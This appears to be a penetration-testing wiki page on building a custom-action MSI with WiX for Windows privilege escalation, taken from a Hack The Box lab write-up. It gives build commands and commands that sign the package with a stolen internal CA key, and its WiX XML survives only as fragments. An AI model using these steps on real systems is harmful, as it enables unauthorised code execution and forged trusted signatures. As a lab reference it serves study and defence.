--- title: "Creating a Custom-Action MSI with WiX" section: "Windows" sectionSlug: "windows-hardening" sourcePath: "src/windows-hardening/windows-local-privilege-escalation/create-msi-with-wix.md" sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/windows-hardening/windows-local-privilege-escalation/create-msi-with-wix.md" sha: "188de82beb54e70956b2952367a0af91d26758b8" isIndex: false modified: true license: "CC-BY-NC-4.0" --- # Creating a Custom-Action MSI with WiX This historical Hack The Box chain used WiX Toolset v3 to build an MSI that launched a previously planted `.lnk` file. **An MSI is not automatically privileged**: execution occurs in the context selected by Windows Installer policy, the custom-action attributes, and whoever installs it. In the cited scenario, the attacker also stole a trusted signing CA and placed the signed MSI in a folder watched by another user.[[1]](#references)[[3]](#references) For a comprehensive understanding of wix MSI usage examples, it is advisable to consult [this page](https://www.codeproject.com/Tips/105638/A-quick-introduction-Create-an-MSI-installer-with). Here, you can find various examples that demonstrate the usage of wix MSI.[[2]](#references) The MSI runs `C:\Users\Public\Desktop\Shortcuts\rick.lnk`. The original WiX v3 XML is preserved below:[[1]](#references) ```html cmd.exe /C "c:\users\public\desktop\shortcuts\rick.lnk" fail_here ``` `InstallerVersion` declares the minimum Windows Installer version and `Compressed="yes"` marks the package as compressed. `Stage1` is deferred but has `Impersonate="yes"`, so it runs with the installing user's impersonated token; change of privilege in this scenario came from the privileged user who later opened the MSI, not from that attribute magically granting SYSTEM.[[3]](#references) Compile the source to a WiX object with `candle.exe`:[[1]](#references) ```text candle.exe -out C:\tmp\wix.wixobj C:\tmp\Ethereal\msi.xml ``` Link that object into an MSI with `light.exe`:[[1]](#references) ```text light.exe -out C:\tmp\Ethereal\rick.msi C:\tmp\wix.wixobj ``` ### Signing step used in the original chain The target workflow accepted packages signed by a compromised internal CA. The write-up derived a signing certificate from the recovered `MyCA.cer`/`MyCA.pvk`, created a PFX, and signed the MSI:[[1]](#references) ```powershell makecert.exe -n "CN=Ethereal" -pe -cy end ` -ic C:\tmp\MyCA.cer -iv C:\tmp\MyCA.pvk -sky signature ` -sv C:\tmp\rick.pvk C:\tmp\rick.cer pvk2pfx.exe -pvk C:\tmp\rick.pvk -spc C:\tmp\rick.cer -pfx C:\tmp\rick.pfx signtool.exe sign /f C:\tmp\rick.pfx C:\tmp\Ethereal\rick.msi ``` The attacker then placed the signed package in `D:\DEV\MSIs` and waited for the privileged workflow/user to execute it. Preserve that precondition when adapting the technique: without an elevated installation path, unsafe policy such as `AlwaysInstallElevated`, or a privileged victim, this package executes only with the current user's rights. ## References - [1] [Hack The Box - Ethereal: Creating Malicious msi and getting root - 0xRick's Blog](https://0xrick.github.io/hack-the-box/ethereal/#Creating-Malicious-msi-and-getting-root) - [2] [A quick introduction: Create an MSI installer with WiX - CodeProject](https://www.codeproject.com/Tips/105638/A-quick-introduction-Create-an-MSI-installer-with) (see also [wixtools](http://wixtoolset.org)) - [3] [Microsoft Learn — Deferred execution custom actions (`Impersonate`)](https://learn.microsoft.com/en-us/windows/win32/msi/custom-action-in-script-execution-options)